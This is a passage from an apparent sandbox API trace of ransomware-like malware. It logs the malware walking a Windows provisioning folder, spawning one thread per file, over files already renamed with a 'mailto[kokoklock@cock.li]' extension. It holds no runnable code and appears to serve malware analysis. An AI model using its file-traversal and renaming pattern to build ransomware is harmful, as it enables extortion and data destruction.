lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d807f0b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x40f, dwReserved0=0x0, dwReserved1=0x0, cFileName="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="144__C~1.D0E")) returned 1 [0177.535] wcscmp (_String1="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.535] wcscmp (_String1="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.535] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x182) returned 0x4f0bba0 [0177.535] wcscpy (in: _Dest=0x4f0bba0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.535] wcscat (in: _Dest=0x4f0bba0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.535] wcscat (in: _Dest=0x4f0bba0, _Source="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0bba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0177.536] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d82de31, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x40a, dwReserved0=0x0, dwReserved1=0x0, cFileName="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="145__C~1.D0E")) returned 1 [0177.536] wcscmp (_String1="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.536] wcscmp (_String1="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.536] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x182) returned 0x4f0bd30 [0177.536] wcscpy (in: _Dest=0x4f0bd30, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.536] wcscat (in: _Dest=0x4f0bd30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.536] wcscat (in: _Dest=0x4f0bd30, _Source="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0bd30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0177.537] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d8543c2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x382, dwReserved0=0x0, dwReserved1=0x0, cFileName="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="146__C~1.D0E")) returned 1 [0177.537] wcscmp (_String1="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.537] wcscmp (_String1="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.537] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x17c) returned 0x2fe3c80 [0177.537] wcscpy (in: _Dest=0x2fe3c80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.537] wcscat (in: _Dest=0x2fe3c80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.537] wcscat (in: _Dest=0x2fe3c80, _Source="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0177.537] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d8a0666, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="147__C~1.D0E")) returned 1 [0177.540] wcscmp (_String1="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.540] wcscmp (_String1="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.540] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x17c) returned 0x2fe3660 [0177.540] wcscpy (in: _Dest=0x2fe3660, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.540] wcscat (in: _Dest=0x2fe3660, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.540] wcscat (in: _Dest=0x2fe3660, _Source="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0177.541] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d8c6853, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="148__C~1.D0E")) returned 1 [0177.541] wcscmp (_String1="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.541] wcscmp (_String1="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.541] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x17c) returned 0x2fe31c8 [0177.541] wcscpy (in: _Dest=0x2fe31c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.541] wcscat (in: _Dest=0x2fe31c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.541] wcscat (in: _Dest=0x2fe31c8, _Source="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe31c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c [0177.542] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d8eca90, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38f, dwReserved0=0x0, dwReserved1=0x0, cFileName="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="149__C~1.D0E")) returned 1 [0177.542] wcscmp (_String1="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.542] wcscmp (_String1="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.542] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x17c) returned 0x2fe3af8 [0177.542] wcscpy (in: _Dest=0x2fe3af8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.542] wcscat (in: _Dest=0x2fe3af8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.542] wcscat (in: _Dest=0x2fe3af8, _Source="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3af8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0177.542] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d912d5e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="14__CO~1.D0E")) returned 1 [0177.543] wcscmp (_String1="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.543] wcscmp (_String1="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.543] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x184) returned 0x2f98f60 [0177.543] wcscpy (in: _Dest=0x2f98f60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.543] wcscat (in: _Dest=0x2f98f60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.543] wcscat (in: _Dest=0x2f98f60, _Source="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f98f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740 [0177.543] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d938fdc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x0, dwReserved1=0x0, cFileName="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="150__C~1.D0E")) returned 1 [0177.543] wcscmp (_String1="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.543] wcscmp (_String1="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.543] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x184) returned 0x2f990f0 [0177.543] wcscpy (in: _Dest=0x2f990f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.544] wcscat (in: _Dest=0x2f990f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.544] wcscat (in: _Dest=0x2f990f0, _Source="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f990f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0177.544] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d95f39a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x41f, dwReserved0=0x0, dwReserved1=0x0, cFileName="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="151__C~1.D0E")) returned 1 [0177.544] wcscmp (_String1="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.544] wcscmp (_String1="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.544] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x198) returned 0x2f99280 [0177.544] wcscpy (in: _Dest=0x2f99280, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.544] wcscat (in: _Dest=0x2f99280, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.544] wcscat (in: _Dest=0x2f99280, _Source="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f99280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734 [0177.545] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d9855c6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x394, dwReserved0=0x0, dwReserved1=0x0, cFileName="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="152__C~1.D0E")) returned 1 [0177.545] wcscmp (_String1="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.545] wcscmp (_String1="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.545] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18e) returned 0x2f99420 [0177.545] wcscpy (in: _Dest=0x2f99420, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.545] wcscat (in: _Dest=0x2f99420, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.545] wcscat (in: _Dest=0x2f99420, _Source="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f99420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730 [0177.546] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, 